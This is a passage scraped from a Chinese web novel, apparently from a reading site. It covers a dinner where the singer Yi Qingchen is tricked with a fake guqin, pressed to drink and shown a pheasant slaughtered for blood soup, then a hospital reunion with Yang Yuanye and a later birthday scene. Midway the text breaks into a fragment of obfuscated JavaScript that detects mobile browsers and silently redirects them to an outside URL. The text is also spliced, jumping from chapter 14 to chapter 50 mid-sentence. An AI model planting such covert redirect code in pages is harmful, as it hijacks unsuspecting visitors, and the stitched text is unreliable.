“嗯嗯,上周您大哥从高尔夫球场提前走了,就是去找了这个易卿尘,俩人还一起回的楚言在帝京公馆的房子。据说易卿尘就住在那儿。”宋小赢说得很肯定。 楚默拧着眉毛不说话。宋小赢最怕老板沉默,赶紧说:“这事儿还没正式官宣,只是官方试水。我再去想想办法,不会让琳达小姐不高兴的。” 江琳达是楚默的小情人,网红歌手,专门唱二次元歌曲,cosplay一扮上,哄得小楚总是日日春宵,就差精.尽人亡了。 琳达也在《中国唱作人》的嘉宾名单里。上次楚默内部拿到初版名单,琳达一看就生了气,说易卿尘和自己撞型了,都是古风,到时候肯定要先淘汰一个。 琳达茶饭不思,连爱马仕铂金包都不能让她兴奋,楚默心疼得够呛,当即动用全部资源连夜就把易卿尘从名单里踢了出去。 一顿操作完,才得知那是他大哥的人。 “妈的,楚言一舒坦我就犯牙疼。”楚默边说边拿拐杖戳宋小赢的脚。 “那老大你说怎么办?”宋忍着疼问道。 楚默想了想:“我听说楚言这两天不在京北,你去想个法子,试探试探那个易卿尘的虚实,要是个怂货,就顺便狠狠挫一挫他的锐气。” “明白了,我这就去办。”宋小赢颔首。 楚默打开手机,又看了一眼那条微博:“我大哥什么品味?喜欢一只小青蛙,还特么是只公的……艹!” 宋小赢接话说:“我也不知道他长什么样。” - 下午六点,小白又来电话了,易卿尘沉浸在编曲里,打了两遍才听见。电话里,小白很兴奋地说《中国唱作人》的王制作人还有选题陈导演,邀请易卿尘今晚见个面,想聊聊他的音乐,再确认一下合作的意愿。 “估计就是走个过场,跟你见个面,下一步就正式发邀约了。”小白听起来很有经验的样子。 晚上七点,按照约定的时间,易卿尘来到了酒店。包间非常宽敞,装潢典雅,古色古香的红木家具与墙上的名画相映成趣,水晶吊灯柔和的光线洒下来,笼着一张大圆桌。 小白已经到了,坐在沙发里,正热络地和一个穿墨绿色西装的男人聊着天。见到易卿尘,笑眼弯弯地冲他招手。 易卿尘走了过去,西装男看见他,不知为何,显得有些吃惊,说道:“难道这位就是……易卿尘?” “嗯,”小白点点头,为他们引荐,“易老师,这位是尚星娱乐的宋总助。” “宋小赢。”西装男伸出手来和他握手,寒暄几句后,宋小赢挂着一丝淡笑走开了。 易卿尘坐进小白旁边的位子,看着屋子里的几个人,他一个也不认识。 “那个宋总助还挺客气的,另外那两个是节目组的制片人吗?” 小白忽然向易卿尘靠近了些,用手拢着嘴低声对他说道:“他那就是表面客气。易老师你可能不知道,宋小赢是楚默小楚总的助理。楚言楚默是两兄弟,可是关系据说不太好,所以咱们盛世和尚星一直明争暗斗了好多年。宋小赢是陪着江琳达来的,我不知道王制片今晚也邀请了他们,可能和你一样,Linda也还没签正式合同,今天一起和制片人见见面?” “哦,所以那个长头发的就是江琳达。”易 11. 011 匕见 《全网都在磕我们的过期糖》全本免费阅读 易卿尘一愣,没想到这话头居然指向了自己。一桌子人的目光登时都聚在他身上,那些眼神里的意味深长又让他想起在司徒寒生日宴上的情景,甚至小白,都带着些不好意思地看他。 狐假虎威的问题就是,老虎不在的时候,总有人去踩狐狸的尾巴。易卿尘喝了一口水,喉咙滚了滚,无论如何,他不能在这样的场合失态。为了他能上这档综艺,公司花了很多心思运作;如果是为了实现养父的遗愿,他更不能意气用事。过刚易折,忍一时风平浪静。 “是了,露水情缘,不能当真。”易卿尘放下杯子,扮作温顺,就着他们的话,垂眸敛眉应和了一句。说完,宋小赢露出一丝满意的笑容,不知在想什么,又和沈鹤衣交换了一个眼神。 服务员上完了最后一道甜品,陈导演许是喝多了啤酒,没忍住打了个嗝儿,震天响。大家哄堂大笑,表面上,气氛依然舒畅和气。 易卿尘低头看了一眼手表,九点多了,估计这餐饭该是快结束了。 正想着,忽听沈鹤衣叫他:“小易,你知道我是个古琴发烧友,咱俩也算是有缘份。我最近新得了床好琴,你来帮我品鉴品鉴可好?” “我吗?”易卿尘微怔,心中没来由地忐忑,可又却之不恭,还是点点头应了下来,“谈不上品鉴,是我有幸能欣赏名琴。” 易卿尘的养父秦寒松不仅是个古琴演奏家,也是个斫琴师。行话里管制作古琴叫“斫琴”。易卿尘从小耳濡目染,也是懂一些古琴赏鉴的。 服务员敲门进来,怀抱着一个琴盒,在沈鹤衣的示意下,打开后取出古琴,摆在包间东南角的茶案上。桌上的所有人都起身围了过去。 “唉呦,这琴也太老了,都裂成这样了。”江琳达瞧着这把古琴上许多的断纹,和她想象的华美“名琴”很不一样,吃惊地说。 沈鹤衣笑笑:“小易,你来看看。” 易卿尘站在茶案一边,说道:“江小姐有所不知,断纹是古琴琴面上由于常年风化和弹奏震动而形成的,说明历史悠久,大概率是值得收藏的老琴呢。” “正是。”沈鹤衣点头。 宋小赢提议道:“我是个俗人,这辈子还没现场听过古琴呢!不如,易老师给我们弹一曲吧?” 陈导演随之附和:“我也正想听听呢!” 一群人聚会就餐,点人表演节目要格外谨慎,搞不好容易犯忌讳。一般习俗都是晚辈给长辈、或者下位者给上位者表演取乐,被点到表演的人心里多少有些不舒服。 小白赶忙站出来接话道:“这可太不巧了,签约艺人是不能随意在外面表演的,因为可能涉及到版权纠纷,我看今天就算了吧?”小白的脸红得有些不自然,眼神也掺着混沌,也许是不胜酒力。 “试试琴而已,又不是商演!在座的可都是圈儿里的,都懂。拿这个做借口,易老师是不给面子咯?”宋小赢将上一军。 易卿尘没多做犹豫,语气和缓、半开玩笑地说:“怎么会,我可以给大家弹个古曲,几百年前的人是不会来问我讨版权的。” 他无所谓面子不面子,上位者还是下位者,他本就是个小人物。若想生存下去,必先得把自己的傲骨敲碎,低下身段,否则就会有人来替天行道,矬他的锐气。 “沈先生想听哪首曲子?”易卿尘问。 “《阳春白雪》吧,古琴就要大雅。” 易卿尘恭敬不如从命,走去案前坐定,轻轻抚弄琴弦。可刚弹了两下,他就发觉不对。这琴断纹明显,看着是把老琴,可是琴弦却又紧又硬,弹起来十分刮手,甚至没有润滑过,像是一把从未使用过的低劣货。 仔细观察琴面,那些断纹很像是刻意做出来的。他手上没停,抬眼扫过沈鹤衣,这样的琴,行家不可能看不出问题。瞥见沈鹤衣嘴角那一抹笑意,易卿尘的心一沉,突然明白了,原来这琴竟是专门为他准备的。他不知自己哪里得罪了这位沈先生。 易卿尘开始思考应对之法,一会儿要如何评价这把琴,既不公开戳穿,让沈鹤衣下不来台,又不能显得自己是个外行,落人话柄。正想着,“嘣——”的一声巨响伴随一道生涩的音符,琴弦竟然崩断了。 四座哗然。江琳达、王制片和陈导演都惊得张开了嘴,只有宋小赢一副看戏的表情,似乎事先早有预判。 小白懵了,结结巴巴地努力想要解围:“哎呀,不好意思哈,易老师不是有意的……这弦应该能修吧,有什么损失我们公司一定赔!” 沈鹤衣一脸宽厚和蔼:“好啊,小白姑娘,这琴是我刚拍得的百年老琴,也不贵,就一百二十万而已。” “多……多多少?!”小白差点儿没站住,脸上凝固的表情似乎在说,没想到带艺人出来吃个饭,能惹这么大祸…… 易卿尘开口道:“不知道沈先生是在哪家拍卖行拍得的这床古琴,您怕是被骗了。这弦虽然是丝弦,却是最劣质的品种,断纹也是后做的,您最好找专家重新鉴定一下。” 一席话一出,场上众人的表情都有些复杂,又不尽相同的精彩。 “是吗?”沈鹤衣假装惊讶道,“我不是行家,许是真被骗了呢!不如这样,既然小易你懂琴,又是你把它弄断了,我就割爱,把它原价让给你吧。回头我把拍卖凭证、收据也都给你。你去找拍卖行、找专家鉴定,要真是赝品,说不定你不仅能拿回全款,还可以索赔好几倍呢,怎么样?” 宋小赢立即附和道:“我看这个法子好,双赢。” 易卿尘哪里有钱,就算有钱也不会买这个赝品,明知是坑,哪里跳得下去?不过要怎么才能绕过这个坑,易卿尘想一时不出解法,僵在原地。 小白不知是喝了酒还是受了惊,后退几步,身子一晃,扶着额角一头栽进了沙发里。 沈鹤衣见状说道:“我也不在乎这区区一百多万,还是咱们大家的交情更重要。小易,我看你也不太想买,我又从不为难晚辈。要不这样吧,你自罚三杯,这事儿就算过去了!我一向好说话。” “对对对,自罚三杯就翻篇儿最好!别搞得那么僵嘛,也不好跟楚总交代。”王制片不知是真替他解围,还是有什么旁的心思。 易卿尘摸不清这里面的底,看这些人都是千年的胡椒万年的姜,不好应付。要是喝酒能解决今天这场混乱也未尝不可。 他把心一横,说道:“好,我自罚三杯。无论琴的真假,惊扰了各位雅兴,确实是我的失礼。” “言重了,都是小事儿。”沈鹤衣笑道。 门外有人进来把那赝品古琴收了起来。宋小赢叫来了服务员,说了些什么之后,服务员很快便又端着个托盘进来了。 易卿尘一看,顿时傻了眼。三只透明的500毫升分酒器,装了满满三大杯的白酒,一共一斤半。他瞬间心慌起来,不知道喝完这三大杯,自己还能不能走出这个门。 “来吧,易老师,这一杯酒相当于四十万,多值!”宋小赢生怕他忘了原委。 单枪匹马被一圈不怀好意的人围着,人为刀俎,易卿尘没有退路,只剩一身忍功。 宋小赢拿起其中一杯,“敬”在易卿尘眼前。易卿尘调整着呼吸,接过酒杯,确认道:“是不是只要我喝了,这事儿就算翻篇了?沈先生,在座这么多人给我作见证,您要言而有信。” “那是自然。”沈鹤衣自始至终一副容人雅量。 “好。” 白酒辛辣,这一大杯真是要命。易卿尘发现越是小口喝就越难受,索性豁出去了, 12. 012 反杀 《全网都在磕我们的过期糖》全本免费阅读 江琳达按亮手机屏幕,翻出最近通话记录:“喏,你看!我刚用小白的手机给她男朋友打了电话,人已经在来的路上了。要不易老师您先吃个锅子,大家一起等等小白的男朋友?” 原来江琳达刚才手里拿的是小白的手机,用小白的指纹解了锁。 “小易你要是着急,你就先走吧,不用在意规矩、辈分什么的!”沈鹤衣以退为进。 易卿尘看看这群人,又看看不省人事的小白,最终还是放弃了离开。 “来,过来坐!”沈鹤衣拉开自己旁边的椅子,易卿尘别无选择地走过去,座位被夹在沈鹤衣和宋小赢中间。 沈鹤衣本身不是古琴演奏家,而是个喜好古琴的商人。这个高端古琴圈里流行“弹琴社交、以琴会友”,沈鹤衣就是“雅集”的组织者。富人名流以能加入古琴“雅集”为荣,每年大量的会费、赞助款流水般地进来,供养那些古琴“大师”、“名家”,有钱有权的以此彰显自己是个“文人雅士”,比其它庸俗的有钱人更崇高。 “小易呀,你听过‘士无故不撤琴瑟’吧?”沈鹤衣状似闲谈,说道,“放在古代,只有有官阶的人才配听琴、弹琴,勾栏瓦舍那是要明令禁琴的。有些个士大夫,在瓦子里听完了俗乐,回家都得立刻取出琴来,弹上一弹,自证风骨。所以啊,古琴有自己的格调,不能轻易破了这份‘雅’。小易,你说呢?” 沈鹤衣说的确实都是事实,他也在隐晦地说,易卿尘这样的音乐形式,相当于把雅乐和俗乐混为一谈,是对古琴的亵渎。 易卿尘自然不认可那样狭隘的想法:“沈先生果然是爱琴之人,对古琴的过去如此了解。以前,古琴确实是高山仰止,是太古遗音,更是圣王之器。可是,也正因如此,每一次王朝更迭,就会焚毁上一朝的琴谱,重新建立新的雅乐。这也是为什么流传下来的琴谱、琴曲、琴歌那么少的原因之一。我父亲曾经说过,再好的艺术形式,如果无法流传,最终消亡,那就没有了意义。” “你这个孩子还挺有想法,愿意挑战权威,”沈鹤衣说着漂亮的话,实则是骂他不知天高地厚,“那按你说,把古琴硬是融到流行乐里去,就是对的吗?咱们的散音、泛音、按音怎么能完好地融进流行乐的编曲里?那些个拍子卡得那么死,古琴的韵味都出不来,这样的传承还有意义吗?” “沈先生自是不必过于担心编曲的问题,所谓和而不同,我最近——” 易卿尘话还没说完,包间的门就被推开了。两个男性服务员走了进来,一人手里拿着一个活物,径直立在他们身后。 “你们一会儿再聊!”宋小赢的双眼发射出瘆人的精光,“我这儿有一道宫廷滋补靓汤,专门为了今晚准备的。尤其是易老师,刚吐了不舒服,得好好喝上两碗!” 易卿尘回头看,居然是一只活的野山鸡,和一只活鳖。两个服务员一人手里握着一把透着寒光的短刀。 “……你要干什么?”易卿尘只觉神经倏地被人扯紧,紧到两边太阳穴都在疼。 野山鸡忽然鸣啼一声,立刻被男子用力捏紧脖子锁住了喉咙,只剩翅膀还无力地扑腾着。 “别怕呀,”宋小赢的声音愈发阴寒,“这汤叫‘霸王别姬’,就得要现杀现做才好喝!” “……” 野山鸡拍翼的声音窸窸窣窣,易卿尘不敢妄动,紧张地与它面面相觑。 宋小赢道:“这野山鸡是长白山深山老林里现抓来的。这畜生啊,说来还有点儿好笑,本来是只山鸡,长了几根漂亮羽毛还以为自己是凤凰了,据说它被陷阱绊住的时候,还跟那儿抻着脖子唱呢!” 宋说着将一只手搭在易卿尘的大腿上,眼神一变,问道:“你说可笑不可笑?” 易卿尘紧闭着泛白的嘴唇,默而不语。 “易老师看过电影《霸王别姬》吧?”宋小赢说道,“那袁四爷为了给他心爱的程蝶衣补气血,做的就是这道汤。你今天有口福了,平日里唱歌辛苦,正好补一补。” 易卿尘想不起《霸王别姬》里的桥段,只隐约记得那电影很是压抑,最后张国荣演的程蝶衣刎颈自尽了。 “来,上菜吧!”宋小赢阴寒地吩咐道。 身后的男人闻言紧捉住那只野山鸡,移至易卿尘面前,举在锅子上方,随即亮出手中银色短刃,“刷”一下划过它的脖子。野山鸡哀啼一声,发狂挣扎,动脉里的血瞬间飙了出来,鲜红色飞溅在易卿尘的脸上和白衬衫上。温热又咸腥,是一只畜生的贱命留下垂死的温度和气味。 易卿尘头皮一阵发麻。 野山鸡的脖子断了一半,耷拉着,再也发不出声音。翅膀还偶尔扑腾,带起它深蓝色和翠绿色交织的光泽羽毛,犹如死亡了的艺术一样瑰丽。 男人用小刀一点一点地将它脖颈上的口子划得更张。血,汩汩流入锅中沸汤内,那嫣红及时化开,融入奶白的汤汁中,汤汁由白变粉,再变深,仿佛一座火山的大口,吞噬着,一滴两滴……直至血尽。 野山鸡只剩一副空了的躯壳,男人收起刀,带着野山鸡的尸体退到了众人身后。 宋小赢瞟了一眼易卿尘比墙壁还白的脸色,满意地笑了笑。他站起身,拿起一只精致的白瓷碗,用汤勺搅动着锅中原本不知是什么的肉,边盛汤边说道:“趁热喝,这么金贵的东西,别浪费了……” 空气中弥散着一种味道,混合了血肉和动物内脏,是一种刺鼻、腥臭的热味。 沈鹤衣在一旁冷眼旁观,看着那一碗血汤,语带双关地对他说:“小易,光是好好弹琴就用不着补气血了,何苦非要唱歌呢?你自己掂量掂量。” 易卿尘确实被这一切惊住了,惊到毛孔冰冷,冷到血液里去。人都说杀鸡儆猴,可他此刻不是“猴”,而是那只“山鸡”。这屋子里手执利刃的人无非是想不费吹灰之力地解决了他,用来警告敲打他背后的“主子”。 易卿尘不能就死,更不能做一只任人随意宰杀的“山鸡”。 父亲、阿野、家,他什么都没有了,不能再没有了音乐,这里面寄托着秦寒松毕生的期望,也是他自己安身立命的根本。 酒壮怂人胆,更何况易卿尘本就不怂,一身韧劲儿。借着三杯白酒的后劲,易卿尘冷笑一声,抄起面前的碗,心无旁骛,仰头将那一碗血汤一饮而尽。 易 13. 013 医院 《全网都在磕我们的过期糖》全本免费阅读 外面夜色渐沉、商业街上人潮散尽,三环路依然有车辆不断地驶过,人们似乎都急着回家,万家灯火,总有温暖的怀抱可以抚慰在外所受的委屈。 易卿尘一个人走在街上,身体像刚被从里到外用搅拌器搅碎过,看前面的长椅微微重影。他瘫坐进长椅里,慢慢地身子支撑不住,斜歪着倒下去,侧躺了好一会儿,才舒服了点儿。他这才看清,面前的是一个医院,门口亮着“急诊”两个大红字。 易卿尘觉得躺在医院门口,就算是死了,也不至于没人发现,说不定还能被拉进去得到及时救治,捡回一条命,也是幸运。 他躺在那儿,脑子里闪过许多过往类似这样灰暗的时刻。养母去世得早,养父秦寒松就是他唯一的亲人,再后来养父突发心梗去世,那时他还有杨原野。 记得那天,他眼看着秦寒松被推进太平间,装人的抽屉冒着冰凉的白烟。易卿尘处理完一切,一个人回了丞相胡同的家。家中只剩他自己,父亲再也不会回来了。暖气片上,用简易易拉罐做的烟灰缸里还有昨夜父亲没抽完的半支烟,许是想留着今天再抽。 易卿尘枯坐在窗前,忍不住给远在台湾的杨原野打电话。他知道杨原野的脾气,不想他担心,所以并不打算告诉他秦寒松去世的消息,想一切等他回了京北以后再说。 杨原野接了电话,易卿尘刚说话,杨原野便着急地问他怎么了,是不是不开心,因为这声“喂”的语调不太对。易卿尘借口说工作不顺,心情不好。杨原野就说辞职吧,我养你。后来还说了什么,易卿尘不太记得了,只记得他们一直打电话,打了一整个晚上。 易卿尘有时候说话,有时候沉默,偶尔好像迷迷糊糊中睡着了,又突然惊醒。他睁开眼,下意识就喊:“阿野!”电话那头,杨原野的声音远隔重洋,却仿佛可以镇痛,他轻声说:“小尘我在,我一直都在。” 那年,他攥着那半截烟头,对自己说,你不是无依无靠,你还有阿野。 …… 月亮把黑夜烫了个洞。易卿尘躺在冰冷的长椅上,眼睛呆呆地看着医院的方向。看着看着,他怀疑自己出现了幻觉。 一辆救护车鸣着笛停在急诊大楼门口,一个担架被抬下来,跟着,从车上下来了几个人。其中那个黑衣服瘦高的男人,怎么好像是杨原野……不待细看,男人随着担架床跑进了急诊大楼,化作一个黑点。 半晌,易卿尘看见那个男人从里面走出来,站在急诊大楼门前,神色焦急地开始打电话。似乎打了好多个电话,男人却愈发焦躁。他不断在门前踱步,身体线条也绷得很紧。 电话那头应该是没有什么好消息,只见男人慢慢地蹲下身,将头埋进两膝之间,在夜色里,像一只鹰,用黑色的羽毛裹着身体。 易卿尘隔着一定的距离,眯着眼睛终于看清了,居然真的是他。他不知道杨原野此时遇到了什么难事,但他知道的是,在这样的时刻杨原野一定不想看见他。 那年,杨原野隔着电话线陪着他,如今,他也躲在遥远的阴影里陪着杨原野。虽然这种单向陪伴毫无意义。 蹲在地上缩成一团的男人缓慢地从双臂间抬起脸,仰头看着夜空,不知道在想什么。过了一会儿,杨原野拿出手机,屏幕的光照在他的脸上。他好像是在打字,很快便又埋首膝间。 嗡嗡——易卿尘兜里的手机突然响了。震动声让他的身体轻微晃动了一下。 他坐起身,掏出手机。屏幕亮着,是他曾经的旧号码,收到第一条短信。 【yyy:好累,如果你在就好了。】 …… 杨原野蹲在地上。他的人生就像一条抛物线,二十岁是他顶点,之后就一直在下坠。每当这样绝望无助的时刻,他都忍不住给那个永远没有回应的空号码发消息——就像一个安置他软弱情绪的树洞,许是他太啰嗦,树洞打着凌乱的饱嗝。 手机屏幕突然亮起,杨原野诧异地看着那个未读标志。 他疑惑地点开那条消息:【易卿尘:阿野我在,我一直都在。】 杨原野一瞬间觉得天旋地转,这怎么可能?四年来从没这样过。 一双白色鞋子猝不及防地进入了他的视线。杨原野缓缓地抬起头:深色铅笔裤包裹着一对修长的腿,白绸衬衣上染着血红色污渍,堆在手肘的袖子皱皱巴巴的,露出半截莹白的手臂。再往上是张熟悉的脸,冷感的白,两颊泛着不自然的红,几缕刘海微微遮挡在眼前。那人望着他,小心翼翼地冲他笑了一下…… 杨原野的心脏骤然麻起来了,一切是那么突然,身体只听从本能支配。他瞪大了眼睛扬着脸,体温可以感知地攀升,嘴角自动往上。他回给易卿尘一个笑容。 要不是易卿尘没掩饰住惊讶的表情,杨原野还没意识到自己泄露了内心,再一想刚刚那条矫情的短信,他尴尬得闭了闭眼睛。 收敛起笑容,杨原野撑着腿想站起来。可蹲了太久腿抽筋,居然一下子没起来,疼得他怪叫一声,杨原野此刻很想找个地缝钻进去。 他咬着牙又往起站,身子打晃间,一只手用力地扶住了他的胳膊。 “小心。”易卿尘的手很凉。 过了抽筋那劲儿,杨原野终于站稳了,随即又板起脸,故作嫌弃地问:“你怎么在这儿?” 扶着他胳膊的那只手收了回去,丢掉原本冰凉的触感那刻,杨原野心里一空。 “我正巧路过,”易卿尘轻声道,“你……怎么了?” “我发错人了。” “嗯?什么?”易卿尘没反应过来。 杨原野扭头往急诊大厅里走,两条大长腿倒腾得飞快,生怕易卿尘再问他什么问题。 医院里人来人往,大半夜来看急诊的居然比白天还多,几伙人在瞎嚷嚷,嘈杂得像个菜市场。杨原野闷头往前走,易卿尘就小跑两步跟在身后,可他也不知道自己为什么要跟进来。再往前就是楼梯了,易卿尘心想,要不别再跟着了,好像挺多余的。 一阵急促沉重的脚步声忽然从远处传来,一个头上缠着纱布的男人正从楼上往下疯跑,身后一个大肚浑圆的追了过来,边追边叫:“再跑我他妈弄死你!” 易卿尘眼看着那人像一辆火车似地冲过来。还来不及反应,杨原野便猛地转过身来,一把将他拉过去,死死护在身后。 他的鼻尖碰到杨原野的后颈,他们的距离近到可以闻见杨原野衣服上洗衣液 14. 014 玫瑰 《全网都在磕我们的过期糖》全本免费阅读 失重的感觉带着易卿尘一直下坠,在双脚着地的一刻,四周只有蒙蒙光亮。他听见秦寒松在叫他的名字,忽远忽近。这里还是医院急诊室的走廊,他往前走,周遭静得只有挂钟的滴嗒声。走着走着,推开一扇门,他便进了一间太平间,面前是一排带着编号的冒着凉气的抽屉,每一个都敞开着。 易卿尘走向离他最近的一个,踮起脚尖望进去,里面躺着的人闭着眼睛,面色惨白,脖颈上一片血肉模糊,伤口还在汩汩地往外涌着血泉。那具尸体竟是他自己,死于刎颈…… 墙上的悬挂钟还在滴答滴答的走,时空交错,此时医院的走廊传来一声“啊嚏”。 凌晨时分,伴着医院特有的气味以及中央空调的寒气,杨原野不禁打了个喷嚏。易卿尘此刻正枕在他的腿上,呼吸均匀地起伏,仍睡得沉。看不下去易卿尘靠墙睡着,那也太硌得慌了,杨原野于是板着脸把人拉了下来。这会儿功夫,他觉得把易卿尘冻出病来也不太人道,杨原野又板着脸用慢动作把外套脱下来,盖在易卿尘的身上。 他从上方俯看易卿尘的睡颜,睫毛如扇,偶尔不安地抖动,眉头轻微蹙着。 不知道是生理性的,还是易卿尘在梦中也不快乐……蓦地,一滴清泪从他的眼角悄然滑落,越过鼻梁,啪嗒一下砸在杨原野的裤子上。黑色的布料很快隐藏了那一滴脆弱,而杨原野却仿佛被狠狠地灼烫了一下。 易卿尘的脸埋在杨原野的大腿和他自己的胳膊之间,拢成一个小堡垒,呼出的热气让冷白的脸蛋稍稍有了些淡粉的血色,配上沿途的泪痕,仿佛揉碎了桃花,楚楚可怜。 杨原野涌起一种很深的冲动,引得他想要抬手去擦拭易卿尘的眼角。手已经伸出去了,可半路又忍住渴望、收了回来。 易卿尘当初一走了之,他就该恨他,怎么会再心疼他?但事实是,杨原野发现,他可以狠下心肠推开易卿尘,冷着脸说狠话刺伤他,可一想到易卿尘可能在外面受了别的委屈,便没法无动于衷。 他竭力克制住、不去管,可他心里始终是希望易卿尘好好的,不要真的受苦。像一个拥有整座城邦的国王,被花园里的一朵玫瑰刺破手指,也就够了。 良久,杨原野一动不动地坐着,感受着膝上传来易卿尘的体温,他没再碰他,只抬手帮他把外套盖了盖。 …… 易卿尘霍然睁眼,从梦中的太平间逃出生天。面前不是冒着凉气的太平间抽屉,而是人来人往的急诊室。易卿尘身边空无一人,他下意识地摸了摸脖颈,完好无损。身上披的是杨原野的外套,上面有种清洁的味道。易卿尘抱着外套,视线到处搜寻,找不到人,他的心又揪起来,害怕出了什么事。 到护士站问过,才知道手术结束了,小女孩被推进了病房。 易卿尘在门口远远地望着病床上躺着的小女孩,那么小小的一个,身上插着管子,露出来的手臂和腿上都缠着绷带。杨原野和一个女人并立在病床两侧,女人无比心疼地用手轻抚整理小女孩的额发,仿佛那样可以帮她减轻一丝苦楚。 刚才走廊碰见的女医生从病房走出来,易卿尘迎上去询问:“医生不好意思,我想问一下,这个小女孩得的是什么病?” 女医生认出了他,严肃的眼神柔和了起来:“刚刚付医药费的人就是你吧?” 易卿尘点点头:“嗯,是我。不知道您是否方便告诉我小葵得的是什么病?” “大疱性表皮松解症。KRT5基因突变。” “……那是什么……?” 女医生轻叹了口气,说道:“这是一种百万分之一概率的罕见病。简单来说,小葵生下来,四肢就没有皮肤。” “啊……” 人怎么会没有皮肤?易卿尘被震惊到说不出话,没有皮肤是什么概念,他完全无法想象。怪不得小女孩的四肢都缠着纱布,那纱布的下面……难道直接就是肌肉? “她的表层皮肤非常薄,一直会起水泡。这个病就是无时无刻都在和疼痛作斗争,还有感染的风险,就像今晚一样。小葵小小年纪就经历过很多次手术了,这次好在又死里逃生。唉,他们一家人真的很不容易!” 一家人……所以小葵是杨原野的女儿?那么那个略显憔悴的女人应该就是小葵的妈妈了。原来是这样……杨原野竟然已经结婚了…… 易卿尘努力从这个事实带给他的冲击中暂时摆脱出来,继续对着医生问道:“这个病要怎么治呢?现在的问题是缺钱吗?” 女医生摇摇头:“这个病至今没有治愈的方法。有些患者到了青春期,情况会自动有所好转,美国倒是有一些前沿药物,正在做临床实验,还有一种特制的药膏,涂抹可以缓解疼痛。” “小葵在用这种药膏吗?我可以买给她。” 女医生无奈地说:“我目前还不认识任何一个患儿在用这种药,因为它真的很贵,一年下来要800万人民币,也只是能缓解疼痛,不能治疗。” 易卿尘被这个天文数字惊呆了,不敢相信这真的是一种药品的价格,然而疾病并不只降临在富甲一方、能付得起钱的人身上。 “那,小葵……她要怎么办呢……” 许是被易卿尘的仗义相助感动,女医生很有耐心地解释道:“我们的皮肤和肌肉之间有一种蛋白质,小葵的基因缺陷导致她并没有这种蛋白质。所以从小,她的四肢就会不断地在肌肉上起水泡,家人需要每天帮她把水泡挑破,将里面的脓水释放出来,等伤口结痂,再用药水泡掉那层痂。如此,周而复始,可能要持续一辈子。病人要忍受常人无法想象的疼痛,家人所承受的压力也可想而知。” “……” 在电视里看别人的故事,和它就真实地发生在你面前,是完全不一样的感觉。 易卿尘的感受一时间非常复杂。这里面自然有同情和怜悯,同时,他又生出许多苦涩和辛辣,直往心里涌。他为自己身为一个人而感到无力,一种族群的无力感。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12864265|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你身边。如果你遇到了,那你还在怕什么呢?” “……” 夜幕四合,路上的街灯一盏一盏地亮起,温暖的万家灯火。 今天没骑摩托,杨原野戴着口罩一个人走在街上,蓝蛙离他租的房子不算太远,走路半小时。 路过实验中学时,正赶上高三放学,一间书店门口的音响播放着流行音乐。杨原野走近,竟然是他当年专辑里的《说晚安》。 【借你心头的月亮/对全世界说晚安/把爱你轻描淡写/你就是我的小小世界】 两个白衣飘飘的男孩迎面和他擦肩,只听其中一个说:“今儿这歌真好听,谁唱的?” 另一个少年随意地将手里的篮球抛给对方,说道:“谁能比你唱的好听?” “扯淡,你就知道哄我开心。” “噢!那你开心吗?” “……嗯。” 他揽上他的肩,笑得透明开朗。 杨原野扭头望着少年们离去的方向,看了好久,脑中不自觉地浮现易卿尘的脸,心中忽而有些发酸。 这时,手机在衣兜里轻轻震动了一下。 杨原野回过神来,闷闷地点开手机。 【易卿尘:阿野,生日快乐,有生的日子都快乐。】 倏忽间,心里的酸全涌向眼眶。 杨原野此刻有一百句话想对易卿尘说,他想说谢谢你小尘,谢谢你为我做的,我真是混蛋,总是对你凶,我其实只是不懂表达,不是怪你,求你原谅我。他想问小尘你还发烧吗?我担心你,你什么时候回来,我想你,真的真的好想你…… 复杂的情绪全挤在胸腔,他一把摘了口罩,张开嘴大口地呼吸。 一秒钟也等不了,他想见他。 杨原野打开商旅软件,迅速订了最近一班从京北飞无锡的机票。 无锡离京北很远吗?比那年台风天的垦丁还远吗? 如果现在回家收拾行李,赶这班飞机过去,或许还能在十二点以前见到易卿尘。就算过了十二点也没关系,能见到他,跟他说说话,是不是生日当天又有什么关系?也许节目组不会放他进去,但只要能远远地看一眼小尘,让他知道他很抱歉,那也是好的。 如此想着,杨原野不自觉地开始小跑起来。 沿着车水马龙的学院路,一路跑到全是小摊贩的奉春街,在还差两个路口到家时,天空竟飘起了毛毛雨。 杨原野的心一下子悬了起来,怕雨下大了飞机没法起飞,就像那年,他被大雨困在垦丁一样,之后易卿尘就消失了。这可不是什么好兆头。 心越来越慌,最后这两条小路没什么人,他越跑越快,雨水溅湿的裤脚贴在腿上,冰冰凉凉。 跑过小巷,一转弯,在距离老小区几十米的地方,杨原野忽然一个急刹,停下了脚步…… 细雨绵绵,若有似无,散射的橙色光晕倾泻而下,像液体的布鲁斯音乐。 路灯下,正立着一个人。 那人发梢的雨丝被映得光晕琳琅,白色真丝衬衣束在浅灰色西裤里。青年独自站在那儿,右手提着一个生日蛋糕,烫金的盒子上墨绿色的缎带柔顺地垂坠着。 慢慢抬起头,那人远远望向街角,目光忽然捕捉到了焦点,身体随即绷紧了些,少顷,秀丽的脸上展露出一个温柔至极的微笑。 是小尘,在等他。 50.050 难耐 杨原野的脚步忽然变得极慢,一步一步向易卿尘走去,皮鞋踩在湿漉漉的地上,踏碎水中的星光。 从街角到路灯,这几十步,像文艺电影的开篇一样长。待他终于在易卿尘面前站定,两道目光交织,千言万语堵在胸口,又不知从何说。 两人相顾沉默片刻后,易卿尘终于缓缓地开口,嗓子还是哑的: “生日快乐,阿野。生日这天不能生气呀,否则会运气变差的。” 杨原野只是呆呆地看着他,没说话。 易卿尘的眸光晃了晃,正欲再开口,却被杨原野一把拉进了怀里,双臂紧紧地箍住他的肩膀。 杨原野的鼻子发酸,瓮声说道:“小尘,我要疯了……” 杨原野紧紧拉着易卿尘的手,脚下生风,迅速地穿过小区的大门、路过落花的广玉兰,单元楼里的声控灯由下至上接连亮起。 推开602大门进去时,差点和刚从浴室里出来的大哥撞个满怀。大哥昨天等他到凌晨,为他侄女要个杨原野的签名。 “哎小杨啊,你回来了,我侄女——” 